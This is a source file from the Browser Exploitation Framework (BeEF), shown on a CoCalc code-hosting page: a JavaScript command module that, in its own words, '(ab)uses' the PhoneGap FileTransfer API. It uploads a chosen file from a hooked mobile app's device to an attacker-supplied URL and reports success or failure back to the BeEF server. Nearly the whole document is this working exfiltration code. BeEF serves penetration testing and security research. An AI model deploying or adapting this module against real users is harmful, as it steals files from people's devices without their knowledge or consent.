Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_file_upload/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// phonegap_upload
8
//
9
beef.execute(function() {
10
var result = 'unchanged';
11
12
// TODO return result to beef
13
function win(r) {
14
//alert(r.response);
15
result = 'success';
16
}
17
18
// TODO return result to beef
19
function fail(error) {
20
//alert('error! errocode =' + error.code);
21
result = 'fail';
22
}
23
24
// (ab)use phonegap api to upload file
25
function beef_upload(file_path, upload_url) {
26
27
var options = new FileUploadOptions();
28
options.fileKey="content";
29
30
// grab filename from the filepath
31
re = new RegExp("([^/]*)$");
32
options.fileName = file_path.match(re)[0];
33
//options.fileName="myrecording.wav";// TODO grab from filepath
34
35
// needed?
36
var params = new Object();
37
params.value1 = "test";
38
params.value2 = "param";
39
options.params = params;
40
// needed?
41
42
var ft = new FileTransfer();
43
ft.upload(file_path, upload_url, win, fail, options);
44
}
45
46
beef_upload('<%== @file_upload_src %>', '<%== @file_upload_dst %>');
47
48
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); // move this to inside beef_upload
49
});
50
51